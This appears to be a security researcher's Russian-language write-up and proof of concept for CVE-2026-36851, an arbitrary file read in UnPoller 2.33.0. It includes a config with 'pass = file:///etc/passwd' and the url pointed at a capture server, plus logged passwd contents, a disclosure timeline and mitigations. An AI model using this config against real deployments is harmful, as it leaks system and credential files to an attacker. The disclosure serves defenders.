
Прохождение и PoC уязвимости обхода пути к файлу (CVE-2026-36851) для UnPoller 2.33.0
Обход пути / произвольное чтение файлов в UnPoller v2.33.0 через префикс пароля file://. Содержимое файлов считывается с диска и передаётся на настроенный URL контроллера UniFi во время аутентификации.
| CVE | CVE-2026-36851 |
| Продукт | UnPoller v2.33.0 (предыдущие версии, вероятно, затронуты) |
| Уязвимость | CWE-22 (Обход пути), CWE-20 (Некорректная проверка входных данных) |
| CVSS 3.1 | 7.5 Высокий — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Сообщивший | Hector Diaz |
UnPoller поддерживает загрузку учётных данных из файла, когда значение конфигурации начинается с file://. Это поведение задокументировано для развёртывания Docker, где операторы хотят хранить пароли вне конфигурационных файлов в открытом виде. Реализация не ограничивает, какой путь может быть прочитан — любой файл, доступный процессу, считается допустимым вводом. Затем это содержимое отправляется по сети в JSON POST на /api/login на тот контроллер, url которого задан в том же конфигурационном файле.
Эта комбинация превращает локальный примитив чтения файлов в канал сетевой эксфильтрации: злоумышленник с правом записи в up.conf может направить url на контролируемый им сервер и многократно сливать конфиденциальные файлы, не имея прямого разрешения на чтение этих файлов.
Я запускаю UnPoller в своей домашней лаборатории — Docker на Proxmox LXC — для экспорта метрик UniFi в Grafana вместе с остальным стеком. Я просматривал проекты с открытым исходным кодом на предмет распространённых веб-уязвимостей. UnPoller имеет минимальную веб-поверхность, доступную пользователю, поэтому XSS был тупиком. Пример конфигурации — с чего началось открытие:
pass = "file:///path/to/password.file"
Намерение разумное: ссылаться на файл секретов вместо встраивания пароля в up.conf. У меня возник вопрос: проверяет ли UnPoller этот путь или обрабатывает любое значение file:// как буквальный указатель файловой системы.
Просмотр исходного кода в pkg/inputunifi/input.go (и аналогичная обработка в influxunifi, lokiunifi) показывает, что белый список отсутствует. Когда pass или api_key начинаются с file://, префикс удаляется, и os.ReadFile() загружает полное содержимое файла в поле учётных данных, используемое для аутентификации UniFi.
/etc/passwd, /proc/version, /etc/hosts, конфигурации приложений и, потенциально, ключевой материал в зависимости от прав процесса.up.conf). Для запуска чтения после изменения конфигурации не требуются учётные данные UniFi.Протестировано на ghcr.io/unpoller/unpoller:latest (v2.33.0) в Debian-based Proxmox LXC с Docker Compose.
Установка UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" через переменную окружения не вызвала это поведение в моём развёртывании. Монтируемый конфигурационный файл был фактическим источником истины.
Я отредактировал up.conf, чтобы направить UnPoller на захватывающий сервер, который я контролировал, вместо моего рабочего контроллера UniFi:
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
После docker restart unpoller контейнер начал подключаться к моему слушателю на порту 8443 каждые ~30 секунд.
Мой первый захватывающий сервер регистрировал HTTP-заголовки и искал учётные данные Authorization: Basic .... UnPoller отправлял запросы POST /api/login без заголовка Authorization — API UniFi ожидает JSON в теле:
{"username": "admin", "password": "..."}
Я обновил слушатель, чтобы читать Content-Length, разбирать тело POST и регистрировать JSON. В течение минуты /etc/passwd появился в поле пароля:

Выдержка из журнала:
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
Тот же шаблон конфигурации сработал для /proc/version (идентификация ядра/сборки):

Пример вредоносной конфигурации: poc/up.conf.example
| Дата | Событие |
|---|---|
| 2026-02-28 | Обнаружено и подтверждено в домашней лаборатории |
| 2026-03-01 | Уведомлен разработчик (Discord) |
| 2026-03-02 | Отправлен запрос CVE в MITRE |
| 2026-06-05 | CVE-2026-36851 назначен |
| 2026-07-03 | Опубликован публичный отчёт |
Разработчик UnPoller подтвердил, что поведение file:// является преднамеренным удобством для пользователей Docker, и поставил под сомнение возможность эксплуатации без разделения привилегий между редактором конфигурации и пользователем процесса. MITRE назначил идентификатор CVE независимо.
Для операторов
up.conf и монтируемым конфигурациям как к конфиденциальным; ограничьте доступ на запись.file:// до тех пор, пока не будет доступно исправление.Для разработчиков
file:// из полей учётных данных или введите строгий белый список путей (например, только в /etc/unpoller/secrets/).MIT — см. LICENSE. Материалы доказательства концепции в этом репозитории предоставлены только для авторизованных исследований безопасности и обучения. Не используйте против систем, которыми вы не владеете или на которые не имеете явного разрешения на тестирование.
Hector Diaz · LinkedIn · hectordiaz.net